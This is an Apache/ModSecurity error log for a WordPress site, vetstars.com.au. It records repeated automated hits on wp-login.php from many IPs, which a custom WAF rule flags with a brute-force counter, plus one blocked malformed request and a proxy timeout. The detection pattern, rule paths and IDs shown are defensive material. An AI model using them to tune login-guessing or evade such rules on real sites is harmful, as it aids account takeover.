[Tue May 26 01:02:02.313026 2026] [:error] [pid 62722:tid 62736] [client 103.245.34.226:50248] [client 103.245.34.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.245.34.226, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSAiqM6ssnLWYf6CVBt-gAAAEw"]
[Tue May 26 01:02:03.638391 2026] [:error] [pid 62722:tid 62747] [client 103.245.34.226:50248] [client 103.245.34.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.245.34.226, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSAi6M6ssnLWYf6CVBuAgAAAFc"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 01:07:04.962766 2026] [:error] [pid 62515:tid 62537] [client 160.250.130.12:54014] [client 160.250.130.12] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 160.250.130.12, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSBuBig0_XsOwmnrv-LkQAAANQ"]
[Tue May 26 01:07:06.226502 2026] [:error] [pid 62515:tid 62538] [client 160.250.130.12:54014] [client 160.250.130.12] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 160.250.130.12, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSBuhig0_XsOwmnrv-LlAAAANU"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 01:10:41.634310 2026] [:error] [pid 62426:tid 62450] [client 35.229.206.236:57930] [client 35.229.206.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.229.206.236, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSCkUj3D3Mo8ANpTRBf2gAAABQ"]
[Tue May 26 01:10:46.891407 2026] [:error] [pid 62426:tid 62454] [client 35.229.206.236:57930] [client 35.229.206.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.229.206.236, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSClkj3D3Mo8ANpTRBf5AAAABg"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 01:21:35.228695 2026] [:error] [pid 62426:tid 62433] [client 170.187.230.30:47062] [client 170.187.230.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 170.187.230.30, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSFH0j3D3Mo8ANpTRBh7gAAAAM"]
[Tue May 26 01:21:36.666625 2026] [:error] [pid 62426:tid 62436] [client 170.187.230.30:47062] [client 170.187.230.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 170.187.230.30, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSFIEj3D3Mo8ANpTRBh8AAAAAY"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 01:24:32.376314 2026] [:error] [pid 62426:tid 62453] [client 217.217.249.7:56462] [client 217.217.249.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.217.249.7, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSF0Ej3D3Mo8ANpTRBicgAAABc"]
[Tue May 26 01:24:33.669649 2026] [:error] [pid 62426:tid 62452] [client 217.217.249.7:56462] [client 217.217.249.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.217.249.7, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSF0Uj3D3Mo8ANpTRBidAAAABY"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 01:24:47.800826 2026] [:error] [pid 53791:tid 53801] [client 146.185.166.6:44030] [client 146.185.166.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.185.166.6, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSF3yCRhhNTD40Nf1VQLwAAAYg"]
[Tue May 26 01:24:48.906194 2026] [:error] [pid 53791:tid 53813] [client 146.185.166.6:44030] [client 146.185.166.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.185.166.6, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSF4CCRhhNTD40Nf1VQNAAAAZQ"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 01:26:59.425993 2026] [:error] [pid 62515:tid 62518] [client 45.13.190.75:44954] [client 45.13.190.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.13.190.75, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSGYxig0_XsOwmnrv-OJAAAAME"]
[Tue May 26 01:27:00.862790 2026] [:error] [pid 62515:tid 62539] [client 45.13.190.75:44954] [client 45.13.190.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.13.190.75, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSGZBig0_XsOwmnrv-OJwAAANY"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 01:30:10.090068 2026] [:error] [pid 62428:tid 62488] [client 216.66.23.51:40606] [client 216.66.23.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.66.23.51, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSHIpNosGBa7mui3VSYTgAAAIQ"]
[Tue May 26 01:30:11.127493 2026] [:error] [pid 62428:tid 62487] [client 216.66.23.51:40606] [client 216.66.23.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.66.23.51, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSHI5NosGBa7mui3VSYTwAAAIM"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 01:32:25.776676 2026] [:error] [pid 62426:tid 62454] [client 34.232.145.232:47338] [client 34.232.145.232] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.232.145.232, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSHqUj3D3Mo8ANpTRBj1wAAABg"]
[Tue May 26 01:32:27.135868 2026] [:error] [pid 62426:tid 62438] [client 34.232.145.232:47338] [client 34.232.145.232] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.232.145.232, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSHq0j3D3Mo8ANpTRBj2wAAAAg"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 01:33:12.043634 2026] [:error] [pid 62722:tid 62725] [client 136.110.38.51:39160] [client 136.110.38.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.110.38.51, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSH2KM6ssnLWYf6CVBwggAAAEE"]
[Tue May 26 01:33:14.321469 2026] [:error] [pid 62722:tid 62738] [client 136.110.38.51:39160] [client 136.110.38.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.110.38.51, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSH2qM6ssnLWYf6CVBwhAAAAE4"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 01:44:14.128450 2026] [:error] [pid 53791:tid 53802] [client 62.72.47.177:43238] [client 62.72.47.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.72.47.177, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSKbiCRhhNTD40Nf1VSfQAAAYk"]
[Tue May 26 01:44:15.331285 2026] [:error] [pid 53791:tid 53797] [client 62.72.47.177:43238] [client 62.72.47.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.72.47.177, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSKbyCRhhNTD40Nf1VSfwAAAYQ"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 01:44:21.707848 2026] [:error] [pid 53791:tid 53817] [client 68.183.43.38:46270] [client 68.183.43.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.43.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSKdSCRhhNTD40Nf1VSggAAAZg"]
[Tue May 26 01:44:22.803529 2026] [:error] [pid 53791:tid 53812] [client 68.183.43.38:46270] [client 68.183.43.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.43.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSKdiCRhhNTD40Nf1VShAAAAZM"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 01:44:23.735721 2026] [:error] [pid 53791:tid 53804] [client 155.212.135.191:58720] [client 155.212.135.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 155.212.135.191, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSKdyCRhhNTD40Nf1VShQAAAYs"]
[Tue May 26 01:44:24.809675 2026] [:error] [pid 53791:tid 53806] [client 155.212.135.191:58720] [client 155.212.135.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 155.212.135.191, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSKeCCRhhNTD40Nf1VShgAAAY0"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 01:45:08.796498 2026] [:error] [pid 62722:tid 62724] [client 62.14.235.228:59664] [client 62.14.235.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.14.235.228, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSKpKM6ssnLWYf6CVBxVAAAAEA"]
[Tue May 26 01:45:09.961304 2026] [:error] [pid 62722:tid 62726] [client 62.14.235.228:59664] [client 62.14.235.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.14.235.228, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSKpaM6ssnLWYf6CVBxVQAAAEI"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 01:46:08.256581 2026] [:error] [pid 62722:tid 62748] [client 49.12.232.250:57774] [client 49.12.232.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 49.12.232.250, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSK4KM6ssnLWYf6CVBxZQAAAFg"]
[Tue May 26 01:46:09.615900 2026] [:error] [pid 62722:tid 62740] [client 49.12.232.250:57774] [client 49.12.232.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 49.12.232.250, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSK4aM6ssnLWYf6CVBxaAAAAFA"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 01:52:11.009710 2026] [:error] [pid 62428:tid 62500] [client 154.38.181.91:49440] [client 154.38.181.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.38.181.91, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSMS5NosGBa7mui3VSbEQAAAJA"]
[Tue May 26 01:52:12.527347 2026] [:error] [pid 62428:tid 62502] [client 154.38.181.91:49440] [client 154.38.181.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.38.181.91, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSMTJNosGBa7mui3VSbGgAAAJI"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 01:54:19.439813 2026] [:error] [pid 62515:tid 62536] [client 8.137.116.248:54974] [client 8.137.116.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 8.137.116.248, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSMyxig0_XsOwmnrv-S5gAAANM"]
[Tue May 26 01:54:20.952690 2026] [:error] [pid 62515:tid 62519] [client 8.137.116.248:54974] [client 8.137.116.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 8.137.116.248, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSMzBig0_XsOwmnrv-S5wAAAMI"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 02:10:28.496753 2026] [:error] [pid 53791:tid 53805] [client 93.93.118.4:51006] [client 93.93.118.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 93.93.118.4, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSQlCCRhhNTD40Nf1VWPQAAAYw"]
[Tue May 26 02:10:30.005666 2026] [:error] [pid 53791:tid 53815] [client 93.93.118.4:51006] [client 93.93.118.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 93.93.118.4, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSQliCRhhNTD40Nf1VWQgAAAZY"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 02:15:02.321586 2026] [:error] [pid 62515:tid 62518] [client 46.101.217.74:60498] [client 46.101.217.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.101.217.74, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSRphig0_XsOwmnrv-WYgAAAME"]
[Tue May 26 02:15:05.163042 2026] [:error] [pid 62515:tid 62540] [client 46.101.217.74:60498] [client 46.101.217.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.101.217.74, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSRqRig0_XsOwmnrv-WaAAAANc"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 02:18:50.078700 2026] [:error] [pid 62426:tid 62436] [client 144.76.198.88:50092] [client 144.76.198.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.76.198.88, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSSikj3D3Mo8ANpTRBukgAAAAY"]
[Tue May 26 02:18:51.399140 2026] [:error] [pid 62426:tid 62434] [client 144.76.198.88:50092] [client 144.76.198.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.76.198.88, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSSi0j3D3Mo8ANpTRBumgAAAAQ"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 02:35:37.779515 2026] [:error] [pid 62426:tid 62437] [client 13.42.154.237:40520] [client 13.42.154.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.42.154.237, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSWeUj3D3Mo8ANpTRBzMAAAAAc"]
[Tue May 26 02:35:38.923657 2026] [:error] [pid 62426:tid 62440] [client 13.42.154.237:40520] [client 13.42.154.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.42.154.237, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSWekj3D3Mo8ANpTRBzMwAAAAo"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 02:48:19.751592 2026] [:error] [pid 3698:tid 3709] [client 31.56.58.193:60858] [client 31.56.58.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.56.58.193, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSZcwtZBEwA4fyFLKMnOgAAAQk"]
[Tue May 26 02:48:21.084714 2026] [:error] [pid 3698:tid 3724] [client 31.56.58.193:60858] [client 31.56.58.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.56.58.193, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSZdQtZBEwA4fyFLKMnOwAAARg"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 02:52:08.074031 2026] [:error] [pid 62426:tid 62450] [client 52.66.96.197:37556] [client 52.66.96.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.66.96.197, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSaWEj3D3Mo8ANpTRB4mAAAABQ"]
[Tue May 26 02:52:09.145269 2026] [:error] [pid 62426:tid 62451] [client 52.66.96.197:37556] [client 52.66.96.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.66.96.197, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSaWUj3D3Mo8ANpTRB4mgAAABU"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 03:23:19.860193 2026] [:error] [pid 54476:tid 54492] [client 103.72.56.102:39314] [client 103.72.56.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.72.56.102, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahShp9EzLRXEJLWEMDfFmwAAAM4"]
[Tue May 26 03:23:21.188518 2026] [:error] [pid 54476:tid 54502] [client 103.72.56.102:39314] [client 103.72.56.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.72.56.102, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahShqdEzLRXEJLWEMDfFnwAAANg"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 03:24:53.814953 2026] [:error] [pid 54476:tid 54480] [client 14.225.71.169:42040] [client 14.225.71.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 14.225.71.169, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSiBdEzLRXEJLWEMDfGfAAAAMI"]
[Tue May 26 03:24:55.040604 2026] [:error] [pid 54476:tid 54498] [client 14.225.71.169:42040] [client 14.225.71.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 14.225.71.169, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSiB9EzLRXEJLWEMDfGgAAAANQ"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 03:35:12.473177 2026] [:error] [pid 20026:tid 20110] [client 128.199.17.23:53412] [client 128.199.17.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 128.199.17.23, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSkcDXIXIr-5BZ8nR7CoAAAAJI"]
[Tue May 26 03:35:14.959682 2026] [:error] [pid 20026:tid 20097] [client 128.199.17.23:53412] [client 128.199.17.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 128.199.17.23, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSkcjXIXIr-5BZ8nR7CpgAAAIU"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 03:41:04.918418 2026] [proxy_fcgi:error] [pid 20026:tid 20104] (70007)The timeout specified has expired: [client 103.4.122.14:58240] AH01075: Error dispatching request to : (polling)
[Tue May 26 03:55:32.785767 2026] [:error] [pid 55988:tid 55996] [client 43.157.46.118:49308] [client 43.157.46.118] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ahSpNP3kVIz2sql52scnswAAAQU"]
[Tue May 26 04:05:15.767409 2026] [:error] [pid 55988:tid 55999] [client 82.223.101.158:47748] [client 82.223.101.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.223.101.158, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSre_3kVIz2sql52scr1gAAAQg"]
[Tue May 26 04:05:17.357288 2026] [:error] [pid 55988:tid 55991] [client 82.223.101.158:47748] [client 82.223.101.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.223.101.158, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSrff3kVIz2sql52scr2AAAAQA"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 04:07:20.709546 2026] [:error] [pid 20125:tid 20141] [client 31.216.137.18:49936] [client 31.216.137.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.216.137.18, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSr-Nk9jeWERFDLJc5e0wAAAM4"]
